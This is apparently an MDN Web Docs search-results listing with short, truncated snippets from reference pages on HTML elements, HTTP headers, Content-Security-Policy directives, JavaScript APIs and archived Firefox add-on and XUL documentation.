canplay sent when enough data is available that the media can be played, at least for a couple of frames.
... canplaythrough sent when the readystate changes to have_enough_data, indicating that the entire media can be played without interruption, assuming the download rate remains at least at the current level.
...note: manually setting the currenttime will eventually fire a canplaythrough event in firefox.
...And 8 more matches
Mouse gesture events - Developer guides
these are special movements that can be made with a mouse or trackpad and can be interpreted to perform specific tasks.
...if you handle a gesture event and wish to prevent the default action from taking place as well, be sure to call the event's preventdefault() method.
...this is typically used to zoom in and out on content (this is the default behavior in firefox, for example).
...And 8 more matches
Separate sites for mobile and desktop - Developer guides
the good the first option is the most popular by far: use user-agent detection to route users on phones to a separate mobile site, typically at m.example.com.
...conceptually simple, this is the easiest option to add to an existing site, especially if you are using a cms or web application that supports templates.
...if you are using a cms, it is possible to arrange your site templates in a way that minimizes this duplication.
...And 8 more matches
Mobile Web Development - Developer guides
WebGuideMobile
their screens are usually smaller, obviously, but they also usually automatically switch the screen orientation between portrait and landscape mode as the user rotates the device.
...apis like geolocation or orientation are either not supported on desktops or are much less useful, and these apis give mobile users new ways to interact with your site.
...it includes techniques such as: fluid css layouts, to make the page adapt smoothly as the browser window size changes the use of media queries to conditionally include css rules appropriate for the device screen width and height the viewport meta tag instructs the browser to display your site at the appropriate scale for the user's device.
...And 8 more matches
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
it's particularly useful when a website dynamically inserts some text and doesn't know the directionality of the text being inserted.
... usually, the bidirectional algorithm will do the right thing without the author having to provide any special markup but, occasionally, the algorithm needs help.
...but if embedded-text is rtl, then - 1 will be treated as rtl text (because it consists of neutral and weak characters).
...And 8 more matches
<del>: The Deleted Text element - HTML: Hypertext Markup Language
WebHTMLElementdel
this can be used when rendering "track changes" or source code diff information, for example.
... the <ins> element can be used for the opposite purpose: to indicate text that has been added to the document.
... content categories phrasing content or flow content.
...And 8 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
WebHTMLElementdl
content categories flow content, and if the <dl> element's children include one name-value group, palpable content.
... examples single term and description <dl> <dt>firefox</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers.
... </dd> <!-- other terms and descriptions --> </dl> multiple terms, single description <dl> <dt>firefox</dt> <dt>mozilla firefox</dt> <dt>fx</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers.
...And 8 more matches
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
<input> elements of type button are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the click event).
...given that a <button>’s label text is inserted between the opening and closing tags, you can include html in the label, even images.
... disabling and enabling a button to disable a button, simply specify the disabled global attribute on it, like so: <input type="button" value="disable me" disabled> you can enable and disable buttons at run time by simply setting disabled to true or false.
...And 8 more matches
<li> - HTML: Hypertext Markup Language
WebHTMLElementli
content categories none.
... tag omission the end tag can be omitted if the list item is immediately followed by another <li> element, or if there is no more content in its parent element.
...though not a conforming usage, the obsolete <dir> can also be a parent.
...And 8 more matches
<menu> - HTML: Hypertext Markup Language
WebHTMLElementmenu
the html <menu> element represents a group of commands that a user can perform or activate.
... content categories flow content.
...used within nested menus, to provide a label through which the submenu can be accessed.
...And 8 more matches
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
WebHTMLElementpre
the text is typically rendered using a non-proportional ("monospace") font.
... content categories flow content, palpable content.
...though technically still implemented, this attribute has no visual effect; to achieve such an effect, use css width instead.
...And 8 more matches
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
WebHTMLElementtd
content categories sectioning root.
... colspan this attribute contains a non-negative integer value that indicates for how many columns the cell extends.
... rowspan this attribute contains a non-negative integer value that indicates for how many rows the cell extends.
...And 8 more matches
<thead>: The Table Head element - HTML: Hypertext Markup Language
WebHTMLElementthead
content categories none.
...the <thead> must appear after any <caption> or <colgroup> element, even implicitly defined, but before any <tbody>, <tfoot> and <tr> element.
... deprecated attributes align in html 4, in html5 this enumerated attribute specifies how horizontal alignment of each cell content will be handled.
...And 8 more matches
<title>: The Document Title element - HTML: Hypertext Markup Language
WebHTMLElementtitle
<title>grandma's heavy metal festival journal</title> content categories metadata content.
...note that leaving off </title> should cause the browser to ignore the rest of the page.
... page titles and seo the contents of a page title can have significant implications for search engine optimization (seo).
...And 8 more matches
tabindex - HTML: Hypertext Markup Language
the tabindex global attribute indicates that its element can be focused, and where it participates in sequential keyboard navigation (usually with the tab key, hence the name).
...the user won't be able to focus any element with a negative tabindex using the keyboard, but a script can do so by calling the focus() method.
...instead, write the document with the elements in a logical sequence.
...And 8 more matches
Accept-Language - HTTP
the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred.
...browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting).
...the content of the accept-language is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to visit a page in another language than the locale of their user interface.
...And 8 more matches
CSP: child-src - HTTP
syntax one or more sources can be allowed for the child-src policy: content-security-policy: child-src <source>; content-security-policy: child-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemas (not recommended).
...And 8 more matches
CSP: default-src - HTTP
bsent, the user agent looks for the default-src directive and uses this value for it: child-src connect-src font-src frame-src img-src manifest-src media-src object-src prefetch-src script-src script-src-elem script-src-attr style-src style-src-elem style-src-attr worker-src csp version 1 directive type fetch directive syntax one or more sources can be allowed for the default-src policy: content-security-policy: default-src <source>; content-security-policy: default-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 8 more matches
CSP: font-src - HTTP
syntax one or more sources can be allowed for the font-src policy: content-security-policy: font-src <source>; content-security-policy: font-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemas (not recommended).
...And 8 more matches
CSP: img-src - HTTP
syntax one or more sources can be allowed for the img-src policy: content-security-policy: img-src <source>; content-security-policy: img-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 8 more matches
CSP: manifest-src - HTTP
the http content-security-policy: manifest-src directive specifies which manifest can be applied to the resource.
... syntax one or more sources can be allowed for the manifest-src policy: content-security-policy: manifest-src <source>; content-security-policy: manifest-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 8 more matches
CSP: media-src - HTTP
syntax one or more sources can be allowed for the media-src policy: content-security-policy: media-src <source>; content-security-policy: media-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemas (not recommended).
...And 8 more matches
CSP: object-src - HTTP
syntax one or more sources can be allowed for the object-src policy: content-security-policy: object-src <source>; content-security-policy: object-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemas (not recommended).
...And 8 more matches
ETag - HTTP
WebHTTPHeadersETag
it lets caches be more efficient and save bandwidth, as a web server does not need to resend a full response if the content has not changed.
...a comparison of them can determine whether two representations of a resource are the same.
... header type response header forbidden header name no syntax etag: w/"<etag_value>" etag: "<etag_value>" directives w/ optional 'w/' (case-sensitive) indicates that a weak validator is used.
...And 8 more matches
Set-Cookie - HTTP
the set-cookie http response header is used to send a cookie from the server to the user agent, so the user agent can send it back to the server later.
...cookie-name>=<cookie-value>; samesite=strict set-cookie: <cookie-name>=<cookie-value>; samesite=lax set-cookie: <cookie-name>=<cookie-value>; samesite=none // multiple attributes are also possible, for example: set-cookie: <cookie-name>=<cookie-value>; domain=<domain-value>; secure; httponly attributes <cookie-name>=<cookie-value> a cookie begins with a name-value pair: a <cookie-name> can be any us-ascii characters, except control characters, spaces, or tabs.
... a <cookie-value> can optionally be wrapped in double quotes and include any us-ascii characters excluding control characters, whitespace, double quotes, comma, semicolon, and backslash.
...And 8 more matches
X-DNS-Prefetch-Control - HTTP
description dns requests are very small in terms of bandwidth, but latency can be quite high, especially on mobile networks.
... by speculatively prefetching dns results, latency can be reduced significantly at certain times, such as when the user clicks the link.
... in some cases, latency can be reduced by a second.
...And 8 more matches
JavaScript technologies overview - JavaScript
introduction whereas html defines a webpage's structure and content and css sets the formatting and appearance, javascript adds interactivity to a webpage and creates rich web applications.
... among other things, ecmascript defines: language syntax (parsing rules, keywords, control flow, object literal initialization, ...) error handling mechanisms (throw, try...catch, ability to create user-defined error types) types (boolean, number, string, function, object, ...) the global object.
... internationalization api the ecmascript internationalization api specification is an addition to the ecmascript language specification, also standardized by ecma tc39.
...And 8 more matches
constructor - JavaScript
} description a constructor enables you to provide any custom initialization that must be done before any other methods can be called on an instantiated object.
...if your class is a base class, the default constructor is empty: constructor() {} if your class is a derived class, the default constructor calls the parent constructor, passing along any arguments that were provided: constructor(...args) { super(...args); } that enables code like this to work: class validationerror extends error { printcustomermessage() { return `validation failed :-( (details: ${this.message})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof...
... console.log(error.printcustomermessage()); } else { console.log('unknown error', error); throw error; } } the validationerror class doesn't need an explicit constructor, because it doesn't need to do any custom initialization.
...And 8 more matches
Intl.PluralRules() constructor - JavaScript
syntax new intl.pluralrules([locales[, options]]) parameters locales optional.
...for the general form and interpretation of the locales argument, see the intl page.
...an object with some or all of the following properties: localematcher the locale matching algorithm to use.
...And 8 more matches
Object.prototype.constructor - JavaScript
exp() function type() {},false,/(?:)/ // /(?:)/ function type() {},false, // new string() function string() { [native code] },false,test // 'test' changing the constructor of a function mostly this property is used for defining a function as a function-constructor with further calling it with new and prototype-inherits chain.
...*/ } parent.prototype.parentmethod = function parentmethod() {} function child() { parent.call(this) // make sure everything is initialized properly } child.prototype = object.create(parent.prototype) // re-define child prototype to parent prototype child.prototype.constructor = child // return original constructor to child but when do we need to perform the last line here?
... let's try to define the cases in which re-assignment of the original constructor will play a major role, and when it will be one superfluous line of code.
...And 8 more matches
RegExp.prototype.exec() - JavaScript
using this internally, exec() can be used to iterate over multiple matches in a string of text (with capture groups), as opposed to getting just the matching strings with string.prototype.match().
... a newer function has been proposed to simplify matching multiple parts of a string (with capture groups): string.prototype.matchall().
...the returned array has the matched text as the first item, and then one item for each parenthetical capture group of the matched text.
...And 8 more matches
Set.prototype.forEach() - JavaScript
syntax myset.foreach(callback[, thisarg]) parameters callback function to execute for each element, taking three arguments: currentvalue, currentkey the current element being processed in the set.
... set the set object which foreach() was called upon.
... thisarg value to use as this when executing callback.
...And 8 more matches
Planned changes to shared memory - JavaScript
these changes provide further isolation between sites and help reduce the impact of attacks with high-resolution timers, which can be created with shared memory.
... nested documents and dedicated workers will need to set the cross-origin-embedder-policy header as well with the same value.
...direct access between two top-level window contexts will essentially only work if they are same-origin and carry the same two headers with the same two values.
...And 8 more matches
SharedArrayBuffer - JavaScript
the sharedarraybuffer object is used to represent a generic, fixed-length raw binary data buffer, similar to the arraybuffer object, but in a way that they can be used to create views on shared memory.
... unlike an arraybuffer, a sharedarraybuffer cannot become detached.
... description allocating and sharing memory to share memory using sharedarraybuffer objects from one agent in the cluster to another (an agent is either the web page’s main program or one of its web workers), postmessage and structured cloning is used.
...And 8 more matches
TypedArray.prototype.every() - JavaScript
syntax typedarray.every(callback[, thisarg]) parameters callback function to test for each element, taking three arguments: currentvalue the current element being processed in the typed array.
... array the typed array every was called upon.
...value to use as this when executing callback.
...And 8 more matches
TypedArray.prototype.forEach() - JavaScript
syntax typedarray.foreach(callback[, thisarg]) parameters callback function that produces an element of the new typed array, taking three arguments: currentvalue the current element being processed in the typed array.
... array the array foreach() was called upon.
...value to use as this when executing callback.
...And 8 more matches
TypedArray.prototype.some() - JavaScript
syntax typedarray.some(callback[, thisarg]) parameters callback function to test for each element, taking three arguments: currentvalue the current element being processed in the typed array.
... array the typed array some was called upon.
...value to use as this when executing callback.
...And 8 more matches
undefined - JavaScript
in modern browsers (javascript 1.8.5 / firefox 4+), undefined is a non-configurable, non-writable property, per the ecmascript 5 specification.
... (even when this is not the case, avoid overriding it.) a variable that has not been assigned a value is of type undefined.
... be careful.
...And 8 more matches
JavaScript
this section is dedicated to the javascript language itself, and not the parts that are specific to web pages or other host environments.
...on june 17, 2015, ecma international published the sixth major version of ecmascript, which is officially called ecmascript 2015, and was initially referred to as ecmascript 6 or es6.
...the complete modules available there are as follows: javascript first steps answers some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", along with discussing key javascript features such as variables, strings, numbers, and arrays.
...And 8 more matches
<mmultiscripts> - MathML
in a descriptive way tensors are multidimensional matrices (mathematical imprecise but exemplified).
...to learn more about the mathematical background of tensors refer to the entry on wikipedia.
... mathml uses a special syntax to describe subscripts and superscripts for both, postscripts and prescripts, attached to a base expression: <mmultiscripts> base (subscript superscript)* [ <mprescripts/> (presubscript presuperscript)* ] </mmultiscripts> after the base expression you can specify a postsubscript and a postsuperscript.
...And 8 more matches
Securing your site - Web security
there are a number of things you can do to help secure your site.
... user information security how to turn off form autocompletion form fields support autocompletion in gecko; that is, their values can be remembered and automatically brought back the next time the user visits your site.
... hash passwords using a secure algorithm (owasp) storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk.
...And 8 more matches
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
creating an xsltprocessor to start, you need to create an xsltprocessor object: var processor = new xsltprocessor(); specifying the stylesheet before you can use it, you must import a stylesheet with the xsltprocessor.importstylesheet() method.
...rather than modifying the dom it is recommended to use stylesheet parameters which are usually easier and can give better performance.
...if that node is a document node, you can pass in a full xsl transform or a literal result element transform, otherwise it must be an xsl:stylesheet or xsl:transform element.
...And 8 more matches
self - Archive of obsolete content
note that the self module is completely different from the global self object accessible to content scripts, which is used by a content script to communicate with the add-on code.
...this uri can be used for apis which require a valid uri string, such as the passwords module.
...while not generally of use to add-on code directly, it can be used by internal api code to index local storage and other resources that are associated with a particular add-on.
...And 7 more matches
ui - Archive of obsolete content
you give it an icon, a label, and a click handler: var ui = require("sdk/ui"); var action_button = ui.actionbutton({ id: "my-button", label: "action button!", icon: "./icon.png", onclick: function(state) { console.log("you clicked '" + state.label + "'"); } }); you can make a button standalone or add it to a toolbar.
...it's otherwise identical to the action button.
... from firefox 30 onwards, you can attach panels to toggle buttons, by passing the button into the panel's constructor or its show() method: frame a frame enables you to create an html iframe, using bundled html, css and javascript.
...And 7 more matches
test/assert - Archive of obsolete content
implements the assert interface defined in the commonjs unit testing specification version 1.1.
...you can use this object to make assertions about your program's state.
...this function is only called by the unit test framework, and not by unit tests themselves.
...And 7 more matches
Displaying annotations - Archive of obsolete content
deprecated in firefox 29 and removed in firefox 38.
... the widget api is deprecated from firefox 29 onwards.
... in this chapter we'll use a page-mod to locate elements of web pages that have annotations associated with them, and a panel to display the annotations.
...And 7 more matches
HTML to DOM - Archive of obsolete content
although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild.
...however, there are potential dangers involved in injecting remote content in a privileged context in your extension, so it can be desirable to parse the html safely.
... the function below will safely parse simple html and return a dom object which can be manipulated like web page elements.
...And 7 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
a typical example is an rss reader extension that would take the content of the rss feed (html code), format it nicely and insert into the extension window.
...these issues can easily be avoided by making use of the existing security mechanisms in the mozilla codebase.
...in particular, a content document can only go up in the frame hierarchy until the topmost content document, it cannot access the chrome documents above it.
...And 7 more matches
Inline options - Archive of obsolete content
here is an example of an options.xul file: <?xml version="1.0"?> <!doctype mydialog system "chrome://myaddon/locale/mydialog.dtd"> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting type="bool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited to <setting> tags.
...if you need script support, see the display notifications section.
..." title="options 2"> <radiogroup> <radio value="false" label="disabled"/> <radio value="true" label="enabled"/> </radiogroup> </setting> <!-- button example - not tied to a preference, but attached to a command --> <setting title="do something" type="control"> <button id="myaddon-button" label="click me" oncommand="alert('thank you!');"/> </setting> setting element changed notifications most of the setting elements (it might be all i havent really looked), support oninputchanged attribute.
...And 7 more matches
Extensions support in SeaMonkey 2 - Archive of obsolete content
the basics to support seamonkey 2 as a target application, you need to add it to the list of target applications in the extension's install.rdf file.
... the code for that will look something like this: <em:targetapplication> <!-- seamonkey --> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0</em:minversion> <em:maxversion>2.*</em:maxversion> </description> </em:targetapplication> the install.js is not supported any more and should be removed.
... differences as compared to other toolkit/-based applications you need to overlay/open different chrome urls as compared to firefox.
...And 7 more matches
Using the Stylesheet Service - Archive of obsolete content
you can replace user_sheet with agent_sheet or author_sheet, depending where in the css cascade you want the sheet to be placed.
... see the css specification for more details.
... in particular, they can apply styles to native anonymous elements and to css anonymous boxes.
...And 7 more matches
Install.js - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
... there is a different sample install.js template located at http://downloads.mozdev.org/xsidebar/mods/.
...cons: code is bloated since it has to cater for several different ways an extension author can package the .jar file contained in the .xpi file.
...And 7 more matches
Drag and Drop Example - Archive of obsolete content
dragging elements around here, we'll create a simple board where items from a palette can be dragged onto the board.
... the user can click on one of several xul elements on the palette and drag it onto a stack element to create an element of a particular type.
..."button" elem="button" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="check box" elem="checkbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="text box" elem="textbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> </vbox> the nsdraganddrop object will be called to do most of the work.
...And 7 more matches
Simple Storage - Archive of obsolete content
for the most part this object is like any other javascript object, and a jetpack can set whatever properties it wants on it.
...the jetpack.simple.storage object is automatically and periodically flushed to disk.
...jetpacks can flush it manually, however, by calling jetpack.storage.simple.sync().
...And 7 more matches
Simple Storage - Archive of obsolete content
for the most part this object is like any other javascript object, and a jetpack can set whatever properties it wants on it.
...the jetpack.simple.storage object is automatically and periodically flushed to disk.
...jetpacks can flush it manually, however, by calling jetpack.storage.simple.sync().
...And 7 more matches
SpiderMonkey coding conventions - Archive of obsolete content
use the spidermonkey c++ coding style page on wikimo which is more up to date and the canonical source.
...naming conventions public function names begin with js_ followed by capitalized "intercaps", e.g.
... extern but library-private function names use a js_ prefix and mixed case, e.g.
...And 7 more matches
Static Analysis for Windows Code under Linux - Archive of obsolete content
dehydra requires patching gcc such that it can load plugins as shared libraries: # prepare a directory mkdir $home/dehydra cd $home/dehydra #obtain gcc 4.3 sources wget ftp://mirrors.kernel.org/gnu/gcc/gcc...-4.3.0.tar.bz2 tar jxvf gcc-4.3.0.tar.bz2 # get the patches which enable plugins cd gcc-4.3.0/ # create an hg repository.
... this makes it easy to apply patches, they can be applied manually hg init .
... hg clone http://hg.mozilla.org/users/tglek_mo...-moz-plugin-mq .hg/patches # apply gty.diff and plugin.diff # if you have mq setup, do hg qpush -a (for file in `cat .hg/patches/series`; do cat .hg/patches/$file; done) |patch -p1 cd ..
...And 7 more matches
Venkman Internals - Archive of obsolete content
as with any complex application, aspects of the design may not be clear for new readers of the source.
... questions why can't breakpoints be set on some source lines some of the time?
...it will mark these with a "tick" as you call it.
...And 7 more matches
Example Sticky Notes - Archive of obsolete content
the others are only needed if you plan to handle xul (xml user interface language) or/and svg (scalable vector graphics) in your bindings; xlink in xml also may come useful sometimes.
...you add a binding file using -moz-binding style rule and you address a particular binding by its id: -moz-binding: url(notes.xml#default) this id is local within the binding file (not visible in the target document dom tree).
...--> <stylesheet src="notes.css"/> </resources> <content> <!-- this svg graphics will be added automatically around each bound element.
...And 7 more matches
addDirectory - Archive of obsolete content
adddirectory unpacks an entire directory into a temporary location.
... method of install object syntax public int adddirectory ( string xpisourcepath); public int adddirectory ( string registryname, string xpisourcepath, object localdirspec, string relativelocalpath); public int adddirectory ( string registryname, string version, string xpisourcepath, object localdirspec, string relativelocalpath); public int adddirectory ( string registryname, string version, string xpisourcepath, object localdirspec, string relativelocalpath, boolean forceupdate); public int adddirectory ( string registryname, installversion version, string xpisourcepath, object localdirspec, string relativelocalpath, boolean forceupdate); parameters the adddirectory method has the following parameters: registryna...
...me the pathname in the client version registry for the root directory of the files that are to be installed.this parameter can be an absolute pathname (beginning with a /) or a relative pathname, (not beginning with a slash).
...And 7 more matches
confirm - Archive of obsolete content
this string is typically in the form of a prompt for the user (e.g., "are you sure you want to delete the selected file(s)?").
...defaults to "confirm" (or the localized equivalent).
...the value is calculated by multiplying the corresponding button position constant with a button title constant for each button, then adding the results and any additional options (see other constants).
...And 7 more matches
initInstall - Archive of obsolete content
the name can be absolute or relative.
... a relative pathname is relative to the netscape 6 namespace.
...all other parts of the netscape 6 area of the registry are reserved for use by netscape.
...And 7 more matches
International characters in XUL JavaScript - Archive of obsolete content
gecko 1.8, as used in firefox 1.5 and other applications, added support for non-ascii characters in javascript files loaded from xul files.
... this means that such script files can use any character from virtually any language of the world.
... for example, they can contain a line: var text = "ein schönes beispiel eines mehrsprachigen textes: 日本語"; this mixes german and japanese characters.
...And 7 more matches
Namespaces - Archive of obsolete content
xml namespaces provide a way to distinguish duplicate element and attribute names.
... duplicates element and attribute names can occur when an xml document contains elements and attributes from two or more different xml schemas (or dtds).
...an xml namespace is identified by an unique name (called a uri, not a url, even though it can look like a url).
...And 7 more matches
PopupKeys - Archive of obsolete content
escape closes the menu.
...if an access key is a pressed that does not correspond to an item within the menu, items that don't have access keys can be selected if the key pressed corresponds to the first letter of the label.
...this is because the key listener is a capturing listener attached to the document.
...And 7 more matches
Popup Guide - Archive of obsolete content
a brief overview of each type is listed here; more details for each type can be found by following the corresponding links.
...specifically, the first two types in the list below are menus.
... menus a menu is used when you wish to have a series of commands that can be activated by the user, but don't want to use the extra space for a button for each command.
...And 7 more matches
Multiple Rule Example - Archive of obsolete content
often this will be because a particular result has a property that others do not.
...in this case, you might wish to display the photo with a description in a different manner.
...the next example shows how we can do this.
...And 7 more matches
Manipulating Lists - Archive of obsolete content
here is an example: example 1 : source view <script> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </script> <listbox id="thelist"/> <button label="add" oncommand="additem();"/> the appenditem() takes two arguments, the label, in this case 'thursday', and a value 'thu'.
...for example, to add a new item to a menulist, you can use the same syntax as for a listbox.
...since the select event fired we can assume that an item is selected.
...And 7 more matches
Modifying the Default Skin - Archive of obsolete content
by applying a different skin, you can change the look of a window without changing its functionality.
... for a simple personalized look to a firefox window, you can easily change the style sheets associated with it.
... larger changes can be done by creating an entirely new skin.
...And 7 more matches
Stacks and Decks - Archive of obsolete content
« previousnext » there may be need to display elements as a set of overlapping cards.
... the stack and deck elements can be used for this purpose.
... containers each xul box is a container that can contain any other element.
...And 7 more matches
XUL Accesskey FAQ and Policies - Archive of obsolete content
an accesskey is an underlined letter in a web page, menu or dialog that indicates to a user a quick, keyboard method of simulating a click on that element.
...an accesskey can be added to an html or xul form control or label by using the accesskey attribute.
... accesskey attribute is case sensitive!
...And 7 more matches
XUL controls - Archive of obsolete content
<button> a button that can be pressed by the user.
... button reference related elements: menupopup menuitem <checkbox> a control that may be turned on and off, typically used to create options which may be enabled or disabled.
... <datepicker value="2007/03/26"/> datepicker reference <datepicker type="grid"> a datepicker which displays a calendar grid for selecting a date.
...And 7 more matches
editor - Archive of obsolete content
however, text editing, image resizing, and table row and cell editing capabilities are provided.
...in this case, set the editortype attribute on the editor.
... call the makeeditable method to make the document loaded in the editor editable.
...And 7 more matches
menu - Archive of obsolete content
ArchiveMozillaXULmenu
l="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
...And 7 more matches
scrollbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a box that has additional functions that can be used to scroll the content.
... note that a scrollbox doesn't cause scrollbars to be displayed.
... it is intended to be used when an application wants to be able to adjust the scroll position itself.
...And 7 more matches
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
nb: you can add some other elements to tabs such as button, but they will receive an index.
...you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively.
... disabled type: boolean indicates whether the element is disabled or not.
...And 7 more matches
Using LDAP XPCOM with XULRunner - Archive of obsolete content
if you want to use ldap components in your xul application, you have two options : compile xulrunner with ldap support enabled, or add ldap xpcom directly to your xul app (in the components directory).
... in any case, you will have to build ldap xpcom, by adding --enable-ldap build option.
...if you copy as usual those files in the components directory of your xul app, this can't work.
...And 7 more matches
NPN_GetURL - Archive of obsolete content
can be of any type, such as http, ftp, news, or mailto.
...in general, if a url works in the location box of the browser, it works here, except for the _self target.
...plug-ins can use this capability to provide hyperlinks to other documents or to retrieve data from anywhere on the network.
...And 7 more matches
NPN_GetValue - Archive of obsolete content
variable information the call gets.
... values for npnvariable: npnvxdisplay =1: unix only: returns the current display npnvxtappcontext: unix only: returns the application's xtappcontext npnvnetscapewindow: ms windows and unix/x11 only: ms windows: gets the native window on which plug-in drawing occurs; returns hwnd unix/x11: gets the browser toplevel window in which the plug-in is displayed; returns window npnvjavascriptenabledbool: tells whether javascript is enabled; true=javascript enabled, false=not enabled npnvasdenabledbool: tells whether smartupdate (former name: asd) is enabled; true=smartupdate enabled, false=not enabled npnvisofflinebool: tells whether offline mode is enabled; true=offline mode enabled, false=not enabled npnvtoolkit: npnvsupportsxembedbool: npnvwin...
... npnvprivatemodebool: indicates whether or not the browser is currently in private browsing mode.
...And 7 more matches
NPN_PostURL - Archive of obsolete content
buf path to local temporary file or data buffer that contains the data to post.
...data in buffer cannot be posted for a protocol that requires a header.
... when you use npn_posturl to send data to the server, you can handle the response in several different ways by specifying different target parameters.
...And 7 more matches
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
rss 0.90 rss 0.90 is the earliest known version of rss released to the public, and was replaced by netscape's rss 0.91 (revision 1).
... it was created by netscape to be a metadata format providing a summary of a website.
... (and not only a syndication format, as it is today.) rss 0.90 is an rdf-based format.
...And 7 more matches
SAX - Archive of obsolete content
starting with firefox 2, a sax parser is available to xul applications and extensions.
...after the parsing process is started, handlers receive a series of callbacks for the content of xml being parsed.
... the following handlers are available: interface purpose nsisaxcontenthandler receive notification of the logical content of a document (e.g.
...And 7 more matches
Theme changes in Firefox 3 - Archive of obsolete content
note: we could use an article called updating themes for firefox 3 that would serve as a how-to guide for updating themes.
... filename css file details changes to the default theme the table below lists changes made in the default theme for firefox 3; you can use this information as a starting point for figuring out the changes you need to make.
... all file list all platforms file description of change browser/themes/*/browser/browser.css the width of the drag and drop indicator is no longer calculated during the drag (tabbrowser.xml).
...And 7 more matches
E4X for templating - Archive of obsolete content
warning: e4x is deprecated.
...e4x can be used for creating templates for dynamic content.
... while it may be obvious after a study of the basics of e4x that it can be used for this purpose, if one adds a few common purpose functions (especially along with the convenience of javascript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating).
...And 7 more matches
Introduction - Archive of obsolete content
variable declarations are not limited to one element, and as with all javascript, can span multiple lines.
... var element2 = <foo> <bar/> </foo>; additionally, you can specify all of the normal attributes on elements that you would normally include in an xml document.
...however, many of the same functions that you would use in the dom can be used in e4x.
...And 7 more matches
Archived open Web documentation - Archive of obsolete content
znerd 04 august 2009 browser detection and cross browser support improper browser detection can lead to web maintenance nightmares.
... browser feature detection an experimental approach to discovering degree of support for standards css obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system.
...with e4x, programmers can manipulate an xml document with a syntax more familiar to javascript programming.
...And 7 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
summary: thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing problems for some web sites.
...this innovation, first introduced by microsoft® internet explorer and later adopted into the css specification, is very popular for the styling of text links, particularly those that are supposed to look and act like javascript-driven "rollovers." however, advancing css support in browsers has caused some unexpectedly aggressive hovering behavior on some pages.
...any element can, in theory, be in any of the three states, and thus can be styled based on those states.
...And 7 more matches
